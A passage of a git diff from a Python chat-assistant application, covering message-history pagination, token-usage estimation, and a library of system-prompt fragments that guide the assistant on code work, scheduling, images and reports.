conversation is infinite on screen and finite in the request.** Past the live
|
||||
chunk the model genuinely does not see what was said, and it is told so.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_MESSAGES, Chat, Message, User
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# How many turns reach the model. The "latest chunk", and deliberately larger
|
||||
# than a page of history: it is the part that has to be enough to hold a
|
||||
# conversation in, while the rest only has to be readable.
|
||||
LIVE_CHUNK = 40
|
||||
|
||||
# How many older turns one scroll-up fetches. Bigger than the live chunk because
|
||||
# reading back is cheap -- no tokens, no request, just rows.
|
||||
HISTORY_PAGE = 100
|
||||
|
||||
|
||||
def for_user(db: DBSession, user: User) -> Chat:
|
||||
"""This person's Messages conversation, made if it is not there yet.
|
||||
|
||||
The second deliberate exception to "chats are created lazily", and for a
|
||||
different reason than a task chat's: a schedule can post in here before
|
||||
anybody has ever opened the page, and `wake_chat` needs a row to write to.
|
||||
Get-or-create rather than a startup sweep, so an account that never opens
|
||||
Messages never grows one.
|
||||
"""
|
||||
from lembas.services import chat as chat_service
|
||||
|
||||
existing = db.scalars(
|
||||
select(Chat)
|
||||
.where(Chat.user_id == user.id, Chat.kind == KIND_MESSAGES)
|
||||
.order_by(Chat.created_at)
|
||||
).first()
|
||||
if existing is not None:
|
||||
return existing
|
||||
|
||||
# `default_model` answers with the *pair* -- the model id and the connection
|
||||
# it was reached through -- because a chat stores both and resolving the
|
||||
# second later would pick whichever connection happens to offer the id.
|
||||
# Unpacked rather than assigned, which is the mistake this comment exists to
|
||||
# stop being made again: assigning the tuple straight to `model_id` writes a
|
||||
# tuple into a String column and SQLite refuses the insert.
|
||||
chosen = chat_service.default_model(db, user)
|
||||
model_id, connection_id = chosen if chosen else ("", None)
|
||||
|
||||
conversation = Chat(
|
||||
user_id=user.id,
|
||||
kind=KIND_MESSAGES,
|
||||
title="Messages",
|
||||
# Titling never runs on this one: there is no first exchange to name and
|
||||
# the name is fixed. Set so nothing downstream has to special-case it.
|
||||
title_generated=True,
|
||||
model_id=model_id,
|
||||
connection_id=connection_id,
|
||||
)
|
||||
db.add(conversation)
|
||||
db.commit()
|
||||
return conversation
|
||||
|
||||
|
||||
def count(db: DBSession, chat: Chat) -> int:
|
||||
return int(
|
||||
db.scalar(select(func.count()).select_from(Message).where(Message.chat_id == chat.id))
|
||||
or 0
|
||||
)
|
||||
|
||||
|
||||
def live_messages(db: DBSession, chat: Chat, *, limit: int = LIVE_CHUNK) -> list[Message]:
|
||||
"""The most recent turns, oldest first.
|
||||
|
||||
Fetched newest-first and reversed rather than offset from the start: an
|
||||
offset would have to be recomputed from a count on every request, and would
|
||||
be wrong the moment a turn arrived between the two queries.
|
||||
"""
|
||||
newest = db.scalars(
|
||||
select(Message)
|
||||
.where(Message.chat_id == chat.id)
|
||||
.order_by(Message.created_at.desc(), Message.id.desc())
|
||||
.limit(limit)
|
||||
).all()
|
||||
return list(reversed(newest))
|
||||
|
||||
|
||||
def older_than(
|
||||
db: DBSession, chat: Chat, cursor: Message, *, limit: int = HISTORY_PAGE
|
||||
) -> list[Message]:
|
||||
"""The page of turns immediately before `cursor`, oldest first.
|
||||
|
||||
The comparison is done in SQL with an `id` tie-breaker, exactly as
|
||||
`thread_tail` does going the other way. That is not decoration: under a bare
|
||||
`<`, a row sharing the cursor's microsecond can never be reached, and a
|
||||
message that cannot be scrolled back to is a message that is gone.
|
||||
"""
|
||||
rows = db.scalars(
|
||||
select(Message)
|
||||
.where(
|
||||
Message.chat_id == chat.id,
|
||||
(Message.created_at < cursor.created_at)
|
||||
| ((Message.created_at == cursor.created_at) & (Message.id < cursor.id)),
|
||||
)
|
||||
.order_by(Message.created_at.desc(), Message.id.desc())
|
||||
.limit(limit)
|
||||
).all()
|
||||
return list(reversed(rows))
|
||||
|
||||
|
||||
def has_more_before(db: DBSession, chat: Chat, cursor: Message) -> bool:
|
||||
"""Whether the sentinel should be rendered again above a page.
|
||||
|
||||
Asked separately rather than by fetching one extra row, because the answer
|
||||
is needed *after* the page has been reversed and the extra row would have to
|
||||
be trimmed off the wrong end.
|
||||
"""
|
||||
return (
|
||||
db.scalar(
|
||||
select(func.count())
|
||||
.select_from(Message)
|
||||
.where(
|
||||
Message.chat_id == chat.id,
|
||||
(Message.created_at < cursor.created_at)
|
||||
| ((Message.created_at == cursor.created_at) & (Message.id < cursor.id)),
|
||||
)
|
||||
)
|
||||
or 0
|
||||
) > 0
|
||||
@@ -75,39 +75,17 @@ class Metrics:
|
||||
def from_generation(generation: Any) -> Metrics:
|
||||
"""Metrics for a reply still being written.
|
||||
|
||||
A reported count is never second-guessed. Where the endpoint has said a
|
||||
number, that number is what is shown; our own estimate is four characters to
|
||||
a token and is wrong enough on code and CJK that overriding an exact figure
|
||||
with it would be a downgrade dressed as a fix.
|
||||
|
||||
What the estimate is for is the gap *between* reported counts. Usage arrives
|
||||
once per round, so on a forty-round agent reply the counts used to stand
|
||||
still for minutes at a time while text streamed underneath them -- reported
|
||||
was non-zero from round one onwards, so the `or` below never reached its
|
||||
fallback again. `_since_counted` closes that gap: it is what has been written
|
||||
since the last usage chunk, and it is zero at the moment one lands. So the
|
||||
figures climb while a round runs and land exactly on the reported total when
|
||||
it ends, which is the same property in both directions.
|
||||
|
||||
The prompt is deliberately not treated that way. It does not grow within a
|
||||
round -- it is the request that was sent -- so there is nothing to interpolate
|
||||
and nothing that would freeze.
|
||||
Usage arrives in a single chunk at the very end, so mid-stream there is
|
||||
nothing to report and everything is estimated. The counts stop being
|
||||
estimates the moment that chunk lands, which is usually a beat before the
|
||||
bubble is replaced.
|
||||
"""
|
||||
import time
|
||||
|
||||
# Zero the instant a usage chunk lands, so a reported figure is passed
|
||||
# through untouched and only the interval between them is filled in.
|
||||
extra = _since_counted(generation)
|
||||
|
||||
completion = (generation.completion_tokens + extra) or tokens.estimate(
|
||||
completion = generation.completion_tokens or tokens.estimate(
|
||||
generation.text + generation.thinking
|
||||
)
|
||||
# `prompt_estimate_total`, not `prompt_estimate`. The two answer different
|
||||
# questions -- every round's prompt against the latest round's -- and this
|
||||
# chip is what the reply cost, which is the sum. Reading the latest one here
|
||||
# while the end-of-reply path stored the total made the number visibly jump
|
||||
# at the `done` frame on any reply that called a tool.
|
||||
prompt = generation.prompt_tokens or generation.prompt_estimate_total
|
||||
prompt = generation.prompt_tokens or generation.prompt_estimate
|
||||
elapsed = generation.elapsed_ms or (
|
||||
int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0
|
||||
)
|
||||
@@ -116,34 +94,14 @@ def from_generation(generation: Any) -> Metrics:
|
||||
prompt_tokens=prompt,
|
||||
completion_tokens=completion,
|
||||
total_tokens=prompt + completion,
|
||||
context_tokens=(generation.context_tokens + extra)
|
||||
or (generation.prompt_estimate + completion),
|
||||
context_tokens=generation.context_tokens or (prompt + completion),
|
||||
context_limit=generation.context_limit,
|
||||
# One recorded fact rather than an inference from two counts. Inferring
|
||||
# it read `False` once the end-of-reply fallback had filled both fields
|
||||
# in, so a reply estimated from beginning to end showed `~` throughout
|
||||
# and then dropped it at the moment it was stored -- the tilde vanishing
|
||||
# exactly where it was most needed.
|
||||
estimated=not generation.reported_usage,
|
||||
estimated=not (generation.prompt_tokens and generation.completion_tokens),
|
||||
elapsed_ms=elapsed,
|
||||
rounds=max(1, generation.rounds),
|
||||
)
|
||||
|
||||
|
||||
def _since_counted(generation: Any) -> int:
|
||||
"""Tokens written since the last usage chunk, estimated.
|
||||
|
||||
Zero before any usage has been reported -- the `or` fallbacks in
|
||||
`from_generation` cover that case whole -- and zero again the moment each
|
||||
chunk lands, because `counted_chars` is stamped there. In between it is the
|
||||
only thing that moves.
|
||||
"""
|
||||
if not generation.reported_usage:
|
||||
return 0
|
||||
written = len(generation.text) + len(generation.thinking)
|
||||
return tokens.estimate_chars(max(0, written - generation.counted_chars))
|
||||
|
||||
|
||||
def from_message(usage_json: dict[str, Any] | None) -> Metrics:
|
||||
"""Metrics for a finished reply, read back off the row."""
|
||||
stored = usage_json or {}
|
||||
|
||||
+45
-677
@@ -124,33 +124,6 @@ class Variable:
|
||||
VARIABLES: tuple[Variable, ...] = (
|
||||
Variable("today", "Today's date", "The current date, written out in full."),
|
||||
Variable("now", "Date and time", "The current date and time, with the offset from UTC."),
|
||||
Variable(
|
||||
"schedule_instruction",
|
||||
"Scheduled instruction",
|
||||
"In a scheduled task's chat: what it is to do each time it runs. Empty "
|
||||
"everywhere else, which is what makes it the gate on the unattended "
|
||||
"guidance as well as its content.",
|
||||
),
|
||||
Variable(
|
||||
"schedule_summary",
|
||||
"Schedule",
|
||||
"In a scheduled task's chat: how often it runs, in words.",
|
||||
),
|
||||
Variable(
|
||||
"subagent",
|
||||
"Is a helper",
|
||||
"Set inside the chat of a helper another model sent, and empty "
|
||||
"everywhere else — so it is the gate on the guidance a helper reads "
|
||||
"about being one. It carries no text worth printing; it is a flag "
|
||||
"wearing a variable's clothes, because `requires` is how a fragment "
|
||||
"gates itself and a flag has nowhere else to live.",
|
||||
),
|
||||
Variable(
|
||||
"timezone",
|
||||
"Timezone",
|
||||
"The reader's timezone, as an IANA name. Empty when they have not chosen "
|
||||
"one, in which case the times above are the server's.",
|
||||
),
|
||||
Variable("instance_name", "Instance name", "What this installation is called."),
|
||||
Variable("user_name", "User's name", "The name of the person in the conversation."),
|
||||
Variable("model_name", "Model", "The display name of the model answering."),
|
||||
@@ -158,20 +131,9 @@ VARIABLES: tuple[Variable, ...] = (
|
||||
Variable(
|
||||
"round_budget",
|
||||
"Round budget applies",
|
||||
"Set when an administrator has put a ceiling on an ordinary chat's tool "
|
||||
"rounds, and blank otherwise — including in every agent chat. Nothing "
|
||||
"renders it; it exists so a fragment can say "
|
||||
"`requires=('round_budget',)` and appear only where there is a budget "
|
||||
"worth planning within.",
|
||||
),
|
||||
Variable(
|
||||
"unbounded",
|
||||
"No round budget",
|
||||
"The exact complement of the one above: set whenever `round_budget` is "
|
||||
"blank. Nothing renders this either. Two gates rather than one because "
|
||||
"what is worth telling a model with a budget and what is worth telling "
|
||||
"one that should work until the job is done are different sentences, "
|
||||
"not the same sentence with a different number in it.",
|
||||
"Set in an ordinary chat and blank in an agent chat. Nothing renders it; "
|
||||
"it exists so a fragment can say `requires=('round_budget',)` and appear "
|
||||
"for one and not the other.",
|
||||
),
|
||||
Variable(
|
||||
"memory_limit",
|
||||
@@ -219,14 +181,8 @@ VARIABLES: tuple[Variable, ...] = (
|
||||
"The current plan",
|
||||
"The plan this agent chat is working to, with its ids, finished phases "
|
||||
"collapsed and the active one shown in full. Empty when there is none, "
|
||||
"which is what keeps the plan section out of every chat not carrying one.",
|
||||
),
|
||||
Variable(
|
||||
"plan_editable",
|
||||
"The plan, when it can be changed",
|
||||
"The same text as {{plan}}, but blank in Plan mode -- where plan_update "
|
||||
"is withdrawn and the turn ends with plan_submit instead. Gates that "
|
||||
"tool's guidance, so a mode without the tool is not told to use it.",
|
||||
"which is what keeps both the plan section and plan_update's guidance "
|
||||
"out of every chat that is not carrying one.",
|
||||
),
|
||||
Variable(
|
||||
"agent_instructions",
|
||||
@@ -251,24 +207,6 @@ VARIABLES: tuple[Variable, ...] = (
|
||||
"Skill index",
|
||||
"Each available skill's name and when to use it, one per line.",
|
||||
),
|
||||
Variable(
|
||||
"image_templates",
|
||||
"Image templates",
|
||||
"Each enabled image workflow's name and what it is for, one per line. "
|
||||
"Empty when none has been set up.",
|
||||
),
|
||||
Variable(
|
||||
"image_models",
|
||||
"Image checkpoints",
|
||||
"The checkpoints an administrator has listed on the image generation "
|
||||
"page, comma separated.",
|
||||
),
|
||||
Variable(
|
||||
"image_instructions",
|
||||
"Image house rules",
|
||||
"Whatever an administrator wrote in the Extra instructions box on the "
|
||||
"image generation page. Empty when they wrote nothing.",
|
||||
),
|
||||
Variable(
|
||||
"knowledge_bases",
|
||||
"Knowledge bases",
|
||||
@@ -281,18 +219,6 @@ VARIABLES: tuple[Variable, ...] = (
|
||||
),
|
||||
Variable("question", "Question", "The first message. Chat title task only."),
|
||||
Variable("answer", "Answer", "The first reply. Chat title task only."),
|
||||
Variable(
|
||||
"request",
|
||||
"The request",
|
||||
"What somebody said they wanted to happen, in their own words. "
|
||||
"Working out a schedule only.",
|
||||
),
|
||||
Variable(
|
||||
"targets",
|
||||
"Destinations",
|
||||
"Where a scheduled run's result may be sent, as a list of the values "
|
||||
"that are accepted. Working out a schedule only.",
|
||||
),
|
||||
Variable(
|
||||
"transcript",
|
||||
"Transcript",
|
||||
@@ -618,17 +544,13 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
label="Today's date",
|
||||
group=GROUP_CORE,
|
||||
order=20,
|
||||
variables=("today", "timezone"),
|
||||
variables=("today",),
|
||||
hint="A model has no clock. Without this it cannot tell whether what it "
|
||||
"recalls is current, and will not think to check. {{timezone}} is the "
|
||||
"reader's own zone, or the server's where they have not chosen one -- "
|
||||
"the same zone the date above is already stated in, so it names a value "
|
||||
"rather than making a decision.",
|
||||
"recalls is current, and will not think to check.",
|
||||
default=(
|
||||
"Today is {{today}}. Your training data stops well before this, so treat "
|
||||
"anything time-sensitive as something to check rather than something you "
|
||||
"already know.\n"
|
||||
"- Times the person gives you are in {{timezone}} unless they say otherwise."
|
||||
"already know."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -734,132 +656,18 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
label="Working until it is done",
|
||||
group=GROUP_CORE,
|
||||
order=111,
|
||||
when_tools=True,
|
||||
requires=("unbounded",),
|
||||
hint="The counterpart to the round budget above, and exactly one of the "
|
||||
"two ever appears: `unbounded` is set precisely when `round_budget` is "
|
||||
"not. A model told it has a budget rations it and stops early to report "
|
||||
"progress; where the number is a runaway backstop rather than an "
|
||||
"allowance, saying so is what makes a long piece of work run. An agent "
|
||||
"chat always gets this one; an ordinary chat gets it whenever an "
|
||||
"administrator has set no ceiling, which is now the default.",
|
||||
families=("agent",),
|
||||
hint="An agent chat only, and the counterpart to the round budget above. "
|
||||
"A model told it has a budget rations it and stops early to report "
|
||||
"progress; the step count here is a runaway backstop, not an "
|
||||
"allowance, and saying so is what makes a long piece of work run.",
|
||||
default=(
|
||||
"Keep working until the task is actually done. You are not rationing a "
|
||||
"round budget: call tools as many times as the work needs, one step "
|
||||
"informing the next. What ends a reply is finishing it, being stopped, or "
|
||||
"running out of room — and if you run out you are told so, asked for an "
|
||||
"answer from what you have, and can be asked to carry on afterwards. Do "
|
||||
"not stop halfway to report progress and wait to be told to continue."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.engineering",
|
||||
label="Working on code",
|
||||
group=GROUP_CORE,
|
||||
order=112,
|
||||
families=("agent",),
|
||||
hint="An agent chat only, where there is a machine to check things on. "
|
||||
"Every line here is about the gap between having written something and "
|
||||
"knowing it works, which is the one a model closes by asserting rather "
|
||||
"than by testing: the failure is not bad code, it is confident code "
|
||||
"nobody ran. Deliberately about *conduct* rather than about any "
|
||||
"language — style belongs to the project, and its own AGENTS.md is "
|
||||
"where a project says so.",
|
||||
default=(
|
||||
"- Working on code, on this machine:\n"
|
||||
" - Run what you write. A script you have not run is a draft, and "
|
||||
"“this should work” is not a result. If you cannot run it, say that "
|
||||
"plainly rather than implying you did.\n"
|
||||
" - Find out how the project is built, tested and linted before "
|
||||
"guessing — a README, a Makefile, a pyproject or package.json — and use "
|
||||
"what is there rather than a command you would have chosen.\n"
|
||||
" - Read a file before changing it, and match what is around you: the "
|
||||
"naming, the error handling, the way the existing code is laid out. Code "
|
||||
"that reads as though it came from somewhere else is a cost even when it "
|
||||
"works.\n"
|
||||
" - Change one thing, check it, then change the next. A dozen edits "
|
||||
"checked at the end leave you without the one that broke it.\n"
|
||||
" - Read what a failure actually says. Guessing at a fix and running it "
|
||||
"again is slower than reading the error once, and it hides the cause.\n"
|
||||
" - Do not silence a problem to make output clean: a broadened except, a "
|
||||
"removed assertion or a skipped test buys a green run and keeps the bug.\n"
|
||||
" - Say what you did and what you checked, including what you could not "
|
||||
"check. If something is still broken, say so — being told a job is "
|
||||
"finished when it is not is worse than being told it is hard.\n"
|
||||
" - Done means run. Before you say the work is finished, run the thing "
|
||||
"one more time — the tests, the build, the script — and say what came back. "
|
||||
"Reading your own change and finding it correct is not the same evidence, "
|
||||
"and if you could not run it, say that instead of implying you did."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.objective",
|
||||
label="Working to an objective",
|
||||
group=GROUP_CORE,
|
||||
order=112,
|
||||
families=("agent",),
|
||||
hint="An agent chat only. A model given a piece of work drifts: it "
|
||||
"starts on what was asked, finds something adjacent, and finishes "
|
||||
"somewhere else without ever saying it changed course. Naming the "
|
||||
"objective at the start makes the drift visible -- to the reader, and "
|
||||
"to the model itself, which is then answerable to something it wrote "
|
||||
"down. Not in an ordinary chat, where it would be preamble in front of "
|
||||
"a two-line answer.",
|
||||
default=(
|
||||
"Settle what you are setting out to achieve before you start, and say it "
|
||||
"in a line or two: the objective, and what would have to be true for it to "
|
||||
"be done. Then hold to it. If what you find means the objective was wrong, "
|
||||
"or cannot be met as stated, say so plainly and say what it is now — do "
|
||||
"not slide quietly into a different piece of work. Before you finish, check "
|
||||
"what you actually did against it and say whether it is met, partly met or "
|
||||
"not, and what is left."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.narrate",
|
||||
label="Working out loud",
|
||||
group=GROUP_CORE,
|
||||
order=113,
|
||||
families=("agent",),
|
||||
hint="An agent chat only, and deliberately the opposite of the rule "
|
||||
"above about not announcing tool calls -- which is right for a short "
|
||||
"answer and wrong here. A short answer is read once it is finished; a "
|
||||
"long piece of work is *watched while it runs*, and a reader who "
|
||||
"cannot see what is being done cannot stop the wrong thing being done. "
|
||||
"Text written before a tool call survives into the finished reply, so "
|
||||
"this costs nothing beyond the tokens.",
|
||||
default=(
|
||||
"Work out loud. Before a round of tool calls, say in a line what you are "
|
||||
"about to do and what you expect; when the results come back, say what you "
|
||||
"actually found and what it changes — and then carry on in the same reply "
|
||||
"rather than stopping to report. Announcing what you are about to do is "
|
||||
"right here, even though it would be noise in a short answer.\n"
|
||||
"Keep it to a line or two at a time, and make it findings rather than "
|
||||
"narration: what you expected, what was actually there, what you are doing "
|
||||
"about it. Anything you worked out and did not write down is lost when the "
|
||||
"reply ends."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.commit",
|
||||
label="Deciding and then doing",
|
||||
group=GROUP_CORE,
|
||||
order=114,
|
||||
families=("agent",),
|
||||
hint="An agent chat only, and the counterweight to the fragment above "
|
||||
"it. `core.narrate` tells a model to work out loud and nothing told it "
|
||||
"to stop, which a smaller model reads as licence to deliberate "
|
||||
"indefinitely: it announces the call, reconsiders, announces it again, "
|
||||
"and the reply ends having done nothing, because a round that produces "
|
||||
"no tool call is a model saying it has finished. Narration is worth "
|
||||
"having and this is what bounds it.",
|
||||
default=(
|
||||
"When you have decided what to do, do it in the same turn — make the call. "
|
||||
"Do not restate the decision, re-check what you have already checked, or "
|
||||
"write another line about what you are about to do. If you have written the "
|
||||
"same intention twice, that is the signal that you should already have "
|
||||
"acted. Thinking on the page is fine; finishing a reply having only thought "
|
||||
"is not, because a turn that calls nothing is a turn that says you are done."
|
||||
"running past the time and output an administrator allowed — and if that "
|
||||
"happens you are told so and can be asked to carry on. Do not stop halfway "
|
||||
"to report progress and wait to be told to continue."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -1004,9 +812,7 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"a summary of a long document. Correct one with notes_edit when it turns out "
|
||||
"to be wrong, and remove it with notes_delete when it is no longer true — a "
|
||||
"stale note is worse than no note. Anything short and durable about the "
|
||||
"person themselves is a memory rather than a note, and anything that should "
|
||||
"*happen* at a time — later, tomorrow, every week — is a schedule rather than "
|
||||
"either, because a note does nothing at the time it describes."
|
||||
"person themselves is a memory rather than a note."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -1033,8 +839,6 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"sentence, or about the work rather than about them, does not belong here. "
|
||||
"When something you remembered turns out to be wrong, remove it with "
|
||||
"memory_forget, quoting it in full, rather than adding a correction beside it."
|
||||
"“Remind me to…” is not a memory: remembering that something should happen "
|
||||
"does not make it happen, and a schedule does."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
@@ -1072,310 +876,7 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"since that is all you will see next time."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.image",
|
||||
label="Generating an image",
|
||||
group=GROUP_TOOLS,
|
||||
order=243,
|
||||
families=("image",),
|
||||
hint="Appears when image generation is offered. Two sentences here earn "
|
||||
"their place against the tool's own descriptions. The picture already "
|
||||
"being on screen, because without it the commonest thing a model does "
|
||||
"next is offer to show you the image — which it cannot do and which has "
|
||||
"already happened. And the shape of a prompt: a small model left to "
|
||||
"itself passes the request through verbatim, which is why so many "
|
||||
"generations look like nobody thought about them.",
|
||||
default=(
|
||||
"- You can draw a picture with image_generate. Only `prompt` is required.\n"
|
||||
"- Write the prompt as a description, not as the request you were given. "
|
||||
"Comma-separated phrases work better than a sentence, and the order matters "
|
||||
"— subject first, then what it is doing, then the setting, then the light, "
|
||||
"then the style and medium. \"a red bicycle\" is a worse prompt than \"a red "
|
||||
"bicycle leaning on a whitewashed wall, morning light, long shadows, 35mm "
|
||||
"photograph, shallow depth of field\". Expand what you were asked for into "
|
||||
"one of these; do not ask the person to write it for you.\n"
|
||||
"- Use `negative` for what must not appear, as plain nouns: \"blurry, extra "
|
||||
"fingers, text, watermark\". Never phrase it as an instruction — \"no text\" "
|
||||
"puts text in the picture.\n"
|
||||
"- Set `width` and `height` to suit the subject rather than leaving both at "
|
||||
"the default: taller than wide for a person, wider than tall for a place. "
|
||||
"Match the size the checkpoint expects; far above it produces duplicated "
|
||||
"limbs rather than more detail.\n"
|
||||
"- The other parameters have sensible defaults. Change one when you have a "
|
||||
"reason — fewer steps for a quick draft, lower cfg when a picture looks "
|
||||
"harsh — and leave it out otherwise.\n"
|
||||
"- The picture appears in the conversation as soon as the tool returns. It "
|
||||
"is already on screen: do not offer to show it, link to it, or describe how "
|
||||
"to open it. Say what you made and what you would change.\n"
|
||||
"- If it fails because the machine ran out of video memory, try once more at "
|
||||
"a smaller size or with a lighter checkpoint. Do not repeat the same request "
|
||||
"unchanged."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.image_choices",
|
||||
label="Image models and templates",
|
||||
group=GROUP_TOOLS,
|
||||
order=244,
|
||||
families=("image",),
|
||||
requires=("image_templates",),
|
||||
variables=("image_templates", "image_models"),
|
||||
hint="Only once there is at least one workflow to choose between. Split "
|
||||
"from the fragment above for the reason `tool.skills` is split from "
|
||||
"`tool.skills_write`: an instance with one template should not be told "
|
||||
"to weigh up its options, and a list that is not there is worse than no "
|
||||
"sentence about it.",
|
||||
default=(
|
||||
"- The templates you can draw with, and what each is for:\n"
|
||||
"{{image_templates}}\n"
|
||||
"- The checkpoints you can name: {{image_models}}\n"
|
||||
"- Choose the template and checkpoint that suit what is being asked for. "
|
||||
"If none obviously fits, leave both out and the usual ones are used."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.image_instructions",
|
||||
label="Image generation: house rules",
|
||||
group=GROUP_TOOLS,
|
||||
order=245,
|
||||
families=("image",),
|
||||
requires=("image_instructions",),
|
||||
variables=("image_instructions",),
|
||||
hint="Whatever an administrator wrote in the Extra instructions box on "
|
||||
"the image generation page. Absent entirely when that box is empty, "
|
||||
"which is why this is a fragment of its own rather than a paragraph in "
|
||||
"the one above -- an empty heading saying nothing is worse than no "
|
||||
"heading.",
|
||||
default="{{image_instructions}}",
|
||||
),
|
||||
Fragment(
|
||||
key="tool.scratch",
|
||||
label="The scratch document",
|
||||
group=GROUP_TOOLS,
|
||||
order=245,
|
||||
families=("scratch",),
|
||||
hint="Appears when scratch_write is offered. The point worth making to "
|
||||
"a model is the one it cannot infer from the schema: this is *watched* "
|
||||
"while it is written, so building something up here is visible work "
|
||||
"rather than a result announced at the end — and it is not searchable "
|
||||
"afterwards, which is what keeps it from being used as a note.",
|
||||
default=(
|
||||
"- This chat has a scratch document, open beside the conversation and visible "
|
||||
"to the person as you write it. Use scratch_write for something you build up "
|
||||
"as you work — a draft, a table of findings, a list you keep adding to — "
|
||||
"rather than repeating the whole thing in each reply. Append unless you mean "
|
||||
"to start again. They can edit it themselves and attach it to a later message. "
|
||||
"It belongs to this chat and cannot be searched afterwards, so anything worth "
|
||||
"keeping beyond it is a note."
|
||||
),
|
||||
),
|
||||
# --- Context -------------------------------------------------------------
|
||||
Fragment(
|
||||
key="core.unattended",
|
||||
label="Nobody is watching",
|
||||
group=GROUP_CORE,
|
||||
order=35,
|
||||
requires=("schedule_instruction",),
|
||||
hint="Only in a scheduled task's chat. The point a model cannot work "
|
||||
"out for itself is that there is no reader — so the usual moves of "
|
||||
"asking what was meant, or stopping to check, end the run having done "
|
||||
"nothing. This is the prompt half; the enforcement is that `ask_user` "
|
||||
"is not offered here at all, because a rule living only in a system "
|
||||
"message is one a page the model just read can argue with.",
|
||||
default=(
|
||||
"- This chat runs on a schedule and nobody is necessarily reading it. You "
|
||||
"cannot ask a question and wait for an answer: there is no one to answer, "
|
||||
"and the run would simply end. Where something is ambiguous, choose the "
|
||||
"most reasonable reading, do the work, and say plainly in your reply what "
|
||||
"you assumed and what you would want confirmed. Finish what you were asked "
|
||||
"to do in this one reply."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="context.schedule",
|
||||
label="What this task is for",
|
||||
group=GROUP_CONTEXT,
|
||||
order=310,
|
||||
variables=("schedule_instruction", "schedule_summary"),
|
||||
requires=("schedule_instruction",),
|
||||
hint="A task chat accumulates every run, so by the tenth the original "
|
||||
"instruction is far out of sight. This puts it back in front of the "
|
||||
"model each turn, the same way the current plan is — one lookup, and no "
|
||||
"guessing from the transcript.",
|
||||
default=(
|
||||
"## This scheduled task\n"
|
||||
"It runs: {{schedule_summary}}\n"
|
||||
"Each time, you are to: {{schedule_instruction}}\n"
|
||||
"Earlier runs are above. Say what has changed since the last one rather "
|
||||
"than repeating it, unless there is nothing above to compare with."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.report",
|
||||
label="Reports",
|
||||
group=GROUP_TOOLS,
|
||||
order=246,
|
||||
families=("report",),
|
||||
hint="Appears when the report tools are offered. The whole of what a "
|
||||
"model cannot infer from the schema is the audience: a report is read "
|
||||
"somewhere else, later, by somebody who cannot answer it. Everything "
|
||||
"else here follows from that — write it whole, do not end on a "
|
||||
"question, and do not file one for a two-line answer that has already "
|
||||
"been given in the conversation.",
|
||||
default=(
|
||||
"- You can file a report with report_write: a finished piece of work, kept "
|
||||
"where the person will find it later. Write one when you are asked for one, "
|
||||
"and when you finish something long enough that its result is worth keeping — "
|
||||
"an investigation, an account of what you changed, a summary of what you "
|
||||
"found. Do not file one for an answer you have just given in two lines; the "
|
||||
"conversation already holds that. A report is read on its own, away from this "
|
||||
"chat and possibly long afterwards, and the person cannot reply to it — so "
|
||||
"say what you were asked, what you found and what you conclude, refer to "
|
||||
"nothing above, and end on a finding rather than a question. report_search "
|
||||
"and report_get read back ones filed earlier, which is worth doing before a "
|
||||
"recurring report so this one can say what changed."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.schedule",
|
||||
label="Scheduling",
|
||||
group=GROUP_TOOLS,
|
||||
order=248,
|
||||
families=("schedule",),
|
||||
variables=("now",),
|
||||
hint="Appears when the scheduling tools are offered. Most of this is the "
|
||||
"rule vocabulary, which is also in the tool's own schema — repeated "
|
||||
"here because the failure it prevents is expensive and silent: a "
|
||||
"schedule that names the wrong day looks exactly like a working one on "
|
||||
"every screen, and nobody finds out until it fires. The opening "
|
||||
"sentence is the one that matters most, and it is here because of what "
|
||||
"happened without it: asked to schedule something, a model wrote a "
|
||||
"note, because a note was the nearest thing in its tool list and "
|
||||
"nothing said scheduling existed.",
|
||||
default=(
|
||||
"- You can make things happen later. schedule_create sets up work that runs "
|
||||
"because time has passed rather than because somebody asked just now — once, "
|
||||
"or on a repeat. Use it whenever the person says *when*: “in ten minutes”, "
|
||||
"“every Monday at noon”, “each morning”, “remind me”. Writing a note or a "
|
||||
"memory instead makes nothing happen at the time; those are read only when "
|
||||
"somebody goes looking. schedule_list shows what already exists, "
|
||||
"schedule_update changes one and schedule_cancel stops it.\n"
|
||||
"- It is {{now}} where this person is, and every time you write is read in "
|
||||
"their zone. Work “in ten minutes” and “tomorrow at nine” out from that clock "
|
||||
"rather than guessing.\n"
|
||||
'- Use "every" for a plain timer and "at" for a calendar: "in ten minutes" is '
|
||||
'{"every": {"minutes": 10}} with a start, and "every Monday at noon" is '
|
||||
'{"at": {"weekdays": [0], "times": ["12:00"]}}. Monday is 0 — count the days '
|
||||
"off rather than guessing, because naming the wrong one still looks like a "
|
||||
"working schedule.\n"
|
||||
"- Choose where the result goes. A reminder or a short daily fact goes to "
|
||||
"messages; something to read and keep goes to a report; work that builds on "
|
||||
"the previous run stays in its own chat.\n"
|
||||
"- Write the instruction so it stands alone. It is read days later by a model "
|
||||
"that was not here, with nobody to ask what you meant.\n"
|
||||
"- Say the resulting timing back in your reply — the tool gives it to you in "
|
||||
"words. That sentence is the only chance the person has to notice a mistake "
|
||||
"before the first run."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="tool.subagent",
|
||||
